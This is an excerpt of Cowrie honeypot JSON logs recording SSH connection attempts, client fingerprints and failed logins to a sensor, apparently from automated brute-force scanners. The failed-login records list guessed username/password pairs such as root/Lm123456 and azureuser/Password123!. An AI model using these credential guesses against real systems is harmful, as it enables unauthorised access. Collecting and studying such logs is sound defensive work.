{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:36.317686Z","src_ip":"91.92.40.36","session":"bbed3261c0c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":56812,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c5a6e12bccf","protocol":"ssh","message":"New connection: 103.84.236.242:56812 (159.203.135.109:22) [session: 4c5a6e12bccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:37.919848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:37.924751Z","src_ip":"103.84.236.242","session":"4c5a6e12bccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:38.162925Z","src_ip":"103.84.236.242","session":"4c5a6e12bccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yogesh","password":"yogesh@123","message":"login attempt [yogesh/yogesh@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:39.150322Z","src_ip":"103.84.236.242","session":"4c5a6e12bccf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65078,"dst_ip":"10.17.0.5","dst_port":22,"session":"6aa2787d4fe0","protocol":"ssh","message":"New connection: 91.92.40.36:65078 (10.17.0.5:22) [session: 6aa2787d4fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:39.717349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:39.881938Z","src_ip":"91.92.40.36","session":"6aa2787d4fe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:39.885717Z","src_ip":"91.92.40.36","session":"6aa2787d4fe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:40.391484Z","src_ip":"103.84.236.242","session":"4c5a6e12bccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lm123456","message":"login attempt [root/Lm123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:41.375153Z","src_ip":"91.92.40.36","session":"6aa2787d4fe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:43.041620Z","src_ip":"91.92.40.36","session":"6aa2787d4fe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26262,"dst_ip":"10.17.0.5","dst_port":22,"session":"5721992b3a49","protocol":"ssh","message":"New connection: 91.92.40.36:26262 (10.17.0.5:22) [session: 5721992b3a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:46.115072Z"}
{"eventid":"cowrie.session.closed","duration":30.928300142288208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:46.347223Z","src_ip":"172.81.62.90","session":"32f7690e191c","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:46.713345Z","src_ip":"91.92.40.36","session":"5721992b3a49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:46.717790Z","src_ip":"91.92.40.36","session":"5721992b3a49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"benjamin","password":"benjamin","message":"login attempt [benjamin/benjamin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:49.566079Z","src_ip":"91.92.40.36","session":"5721992b3a49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:50.733315Z","src_ip":"91.92.40.36","session":"5721992b3a49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26352,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8518682c96d","protocol":"ssh","message":"New connection: 91.92.40.36:26352 (10.17.0.5:22) [session: a8518682c96d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:54.622340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:55.047181Z","src_ip":"91.92.40.36","session":"a8518682c96d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:55.050758Z","src_ip":"91.92.40.36","session":"a8518682c96d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ana","password":"ana","message":"login attempt [ana/ana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:56.739379Z","src_ip":"91.92.40.36","session":"a8518682c96d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:58.392968Z","src_ip":"91.92.40.36","session":"a8518682c96d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":54896,"dst_ip":"159.203.135.109","dst_port":22,"session":"824186b2a33d","protocol":"ssh","message":"New connection: 102.213.34.99:54896 (159.203.135.109:22) [session: 824186b2a33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:00.523457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:00.530941Z","src_ip":"102.213.34.99","session":"824186b2a33d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:00.700787Z","src_ip":"102.213.34.99","session":"824186b2a33d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"201314","message":"login attempt [root/201314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:01.417348Z","src_ip":"102.213.34.99","session":"824186b2a33d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:02.598607Z","src_ip":"102.213.34.99","session":"824186b2a33d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59462,"dst_ip":"10.17.0.5","dst_port":22,"session":"958428c50a68","protocol":"ssh","message":"New connection: 91.92.40.36:59462 (10.17.0.5:22) [session: 958428c50a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:02.894290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:02.943184Z","src_ip":"91.92.40.36","session":"958428c50a68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:03.057377Z","src_ip":"91.92.40.36","session":"958428c50a68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo","message":"login attempt [odoo17/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:03.969389Z","src_ip":"91.92.40.36","session":"958428c50a68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":33558,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff006a9a3940","protocol":"ssh","message":"New connection: 129.146.243.24:33558 (159.203.135.109:22) [session: ff006a9a3940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:03.993040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:03.998682Z","src_ip":"129.146.243.24","session":"ff006a9a3940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:04.101007Z","src_ip":"129.146.243.24","session":"ff006a9a3940","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"personal","password":"personal123","message":"login attempt [personal/personal123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:04.504513Z","src_ip":"129.146.243.24","session":"ff006a9a3940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:05.302843Z","src_ip":"91.92.40.36","session":"958428c50a68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:05.597523Z","src_ip":"129.146.243.24","session":"ff006a9a3940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23932,"dst_ip":"10.17.0.5","dst_port":22,"session":"141b97a8aa20","protocol":"ssh","message":"New connection: 91.92.40.36:23932 (10.17.0.5:22) [session: 141b97a8aa20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:08.615197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:09.314008Z","src_ip":"91.92.40.36","session":"141b97a8aa20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:09.317804Z","src_ip":"91.92.40.36","session":"141b97a8aa20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"Password123!","message":"login attempt [azureuser/Password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:13.964405Z","src_ip":"91.92.40.36","session":"141b97a8aa20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:15.729992Z","src_ip":"91.92.40.36","session":"141b97a8aa20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15982,"dst_ip":"10.17.0.5","dst_port":22,"session":"374c6cb0eaec","protocol":"ssh","message":"New connection: 91.92.40.36:15982 (10.17.0.5:22) [session: 374c6cb0eaec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:19.264827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:19.271580Z","src_ip":"91.92.40.36","session":"374c6cb0eaec","protocol":"ssh"}
